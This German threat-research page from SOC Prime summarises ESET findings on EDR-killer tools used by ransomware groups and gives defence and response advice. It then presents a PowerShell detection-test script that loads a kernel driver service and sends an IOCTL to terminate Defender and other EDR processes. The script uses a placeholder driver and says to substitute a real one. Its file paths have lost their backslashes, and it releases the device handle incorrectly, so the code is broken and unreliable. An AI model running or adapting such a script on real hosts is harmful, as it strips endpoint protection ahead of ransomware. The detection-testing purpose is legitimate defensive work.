SOC Prime Bias: Kritisch

24 März 2026 15:40

ESET Forschung EDR-Killer erklärt: Jenseits der Treiber

Author Photo
Ruslan Mikhalov Leiter der Bedrohungsforschung bei SOC Prime linkedin icon Folgen
ESET Forschung EDR-Killer erklärt: Jenseits der Treiber
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Der Artikel untersucht das EDR-Killer-Ökosystem, das Ransomware-Betreiber verwenden, um den Endpunktschutz zu neutralisieren, bevor sie Verschlüsselungsprogramme starten. Er erklärt, wie Angreifer sich auf anfällige Treiber, legitime Anti-Rootkit-Dienstprogramme und sogar treiberlose Techniken verlassen, um Abwehrmaßnahmen zu umgehen und Sicherheitssoftware zu deaktivieren. Die Erkenntnisse basieren auf Telemetriedaten, die fast 90 EDR-Killer in realen Angriffen abdecken. Die Forschung unterstreicht auch die Rolle der Ransomware-Partner, die wiederholte Wiederverwendung derselben Treiber und den wachsenden Markt für kommerzialisierte EDR-Killer-Dienste.

Untersuchung

ESET-Forscher analysierten Telemetrie, Code-Repositories und dokumentierte Einbruchs-Fälle, um nachzuvollziehen, wie EDR-Killer gebaut, verteilt und eingesetzt werden. Sie klassifizierten mehrere Familien, darunter treiberbasierte, skriptbasierte, Anti-Rootkit- und treiberlose Varianten, und verknüpften sie mit Ransomware-Gruppen wie Warlock, LockBit, Akira und Medusa. Die Studie hob ferner die Aufrüstung von öffentlichem Proof-of-Concept-Code und den wachsenden Einfluss der AI-unterstützten Entwicklung in diesem Tool-Ökosystem hervor.

Abwehrmaßnahmen

Verteidiger sollten bekannte anfällige Treiber blockieren, den abnormalen Gebrauch privilegierter Administrationsbefehle überwachen und bekannte EDR-Killer-Binärdateien und Verhaltensmuster erkennen. Geschichtete Erkennungen, die die Treiberinstallation, die erzwungene Beendigung von Sicherheitsprodukten und ungewöhnliches Netzwerkblockierungsverhalten identifizieren, können das Zeitfenster verkleinern, das Angreifer haben, bevor die Ransomware-Ausführung beginnt.

Reaktion

Wenn ein EDR-Killer entdeckt wird, isolieren Sie den Host sofort, beenden Sie den bösartigen Prozess, entfernen Sie alle unautorisierten Treiber und stellen Sie sicher, dass die Sicherheitskontrollen vollständig wiederhergestellt sind. Folgen Sie mit einer forensischen Analyse, um festzustellen, welche Ransomware-Payload oder welcher Partneraktivität mit dem Eindringen verbunden ist, und aktivieren Sie den breiteren Incident-Response-Workflow.

Angriffsfluss

Dieser Teil wird noch aktualisiert. Registrieren Sie sich, um benachrichtigt zu werden.

Benachrichtigen Sie mich

Simulationsausführung

Voraussetzung: Die Telemetrie- & Basislinien-Vorabprüfung muss bestanden haben.

Angriffsgeschichte & Befehle

  1. Stufe 1 – Den bösartigen Treiber ablegen
    Der Angreifer schreibt eine Treiber-Binärdatei (EdrKiller.sys) nach C:WindowsTemp und registriert sie als einen Dienst mit dem Namen EdrKillerSvc.

  2. Stufe 2 – Den Treiberdienst starten
    Das Starten des Dienstes lädt den Treiber in den Kernelraum, wo er einen IOCTL-Handler registriert, der in der Lage ist, Prozesse zu beenden.

  3. Stufe 3 – Den bösartigen DeviceIoControl Aufruf ausgeben
    Mittels PowerShell eröffnet der Angreifer einen Handle zu \.EdrKiller und sendet den IOCTL-Code 0x9C040001 (hypothetischer „TerminateProcess“-Code). Der Treiber durchläuft die Prozessliste und tötet jeden Prozess, dessen ausführbarer Name einem bekannten EDR-Komponente entspricht.

  4. Stufe 4 – Beendigung verifizieren
    Der Angreifer überprüft, dass die angezielten EDR-Prozesse nicht mehr laufen.

Regressionstestskript

# --------------------------------------------------------------
# EDR-Killer-Simulation – PowerShell (erfordert Administrator)
# --------------------------------------------------------------

# 1. Pfade & Variablen
$driverPath   = "$env:ProgramDataEdrKiller.sys"
$serviceName  = "EdrKillerSvc"
$deviceName   = ".EdrKiller"
$ioctlCode    = 0x9C040001   # Beispiel-Steuercode für "Prozesse beenden"

# 2. Bösartigen Treiber bereitstellen (simuliert – für realen Test durch echte .sys ersetzen)
#    Für Demo-Zwecke kopieren wir einen legitimen Treiber (z.B., null.sys) als Platzhalter.
Copy-Item "$env:SystemRootSystem32driversnull.sys" -Destination $driverPath -Force

# 3. Dienst erstellen und starten, um den Treiber zu laden
sc.exe create $serviceName binPath= "$driverPath" type= kernel start= demand
sc.exe start $serviceName

Start-Sleep -Seconds 2   # dem Treiber Zeit geben, sich zu initialisieren

# 4. DeviceIoControl P/Invoke definieren
$signature = @"
using System;
using System.Runtime.InteropServices;
public class NativeMethods {
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr CreateFile(
        string lpFileName,
        uint dwDesiredAccess,
        uint dwShareMode,
        IntPtr lpSecurityAttributes,
        uint dwCreationDisposition,
        uint dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        uint dwIoControlCode,
        IntPtr lpInBuffer,
        uint nInBufferSize,
        IntPtr lpOutBuffer,
        uint nOutBufferSize,
        out uint lpBytesReturned,
        IntPtr lpOverlapped);
}
"@
Add-Type $signature

# 5. Handle für den Treiber öffnen
$GENERIC_READ  = 0x80000000
$GENERIC_WRITE = 0x40000000
$OPEN_EXISTING = 3
$hDevice = [NativeMethods]::CreateFile(
    $deviceName,
    $GENERIC_READ -bor $GENERIC_WRITE,
    0,
    [IntPtr]::Zero,
    $OPEN_EXISTING,
    0,
    [IntPtr]::Zero)

if ($hDevice -eq [IntPtr]::MinusOne) {
    Write-Error "Öffnen des Handles für $deviceName fehlgeschlagen"
    exit 1
}

# 6. Den bösartigen IOCTL ausgeben
$bytesReturned = 0
$success = [NativeMethods]::DeviceIoControl(
    $hDevice,
    $ioctlCode,
    [IntPtr]::Zero,
    0,
    [IntPtr]::Zero,
    0,
    [ref]$bytesReturned,
    [IntPtr]::Zero)

if ($success) {
    Write-Host "Bösartige DeviceIoControl erfolgreich gesendet."
} else {
    $err = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
    Write-Error "DeviceIoControl mit Fehler $err fehlgeschlagen"
}

# 7. Handle schließen
[System.Runtime.InteropServices.Marshal]::Release($hDevice) | Out-Null

# 8. Überprüfen, ob typische EDR-Prozesse weg sind (Beispielnamen)
$edrProcs = @("MsMpEng.exe","windefend.exe","MsSense.exe")
foreach ($proc in $edrProcs) {
    if (Get-Process -Name $proc -ErrorAction SilentlyContinue) {
        Write-Warning "$proc läuft noch."
    } else {
        Write-Host "$proc erfolgreich beendet."
    }
}

Aufräumungsbefehle

# Stoppen und Löschen des bösartigen Treiberdienstes
sc.exe stop $serviceName
sc.exe delete $serviceName

# Falsche Treiberdatei entfernen
Remove-Item -Path $driverPath -Force

Write-Host "Aufräumung abgeschlossen."